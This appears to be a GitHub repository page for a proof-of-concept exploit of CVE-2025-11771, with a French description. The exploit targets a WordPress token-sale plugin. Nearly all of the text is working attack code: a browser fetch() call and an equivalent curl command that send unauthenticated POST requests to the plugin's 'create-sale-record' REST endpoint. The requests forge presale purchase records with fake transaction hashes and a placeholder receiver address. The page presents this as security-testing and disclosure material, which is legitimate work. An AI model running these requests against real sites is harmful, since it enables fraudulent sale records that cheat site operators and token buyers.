jfriedli/cve-2025-11771Preuve de concept d'exploit pour CVE-2025-11771 démontrant la création non authentifiée d'enregistrements de vente via un point de terminaison de l'API REST de WordPress, avec des exemples dans la console du navigateur et curl pour les tests de sécurité.
fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
networkId: "137",
presaleKey: "TESTKEY1234",
createdAt: String(Date.now()),
tokenAmount: "1000",
nativeCurrency: "MATIC",
purchaseAmount: "777",
transactionHash: "evil-" + Date.now(),
transactionUrl: "https://example.org/tx/" + Date.now(),
receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
receiverAddressUrl: "https://example.org/address/0xdead"
})
}).then(r => r.text()).then(console.log);
curlcurl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'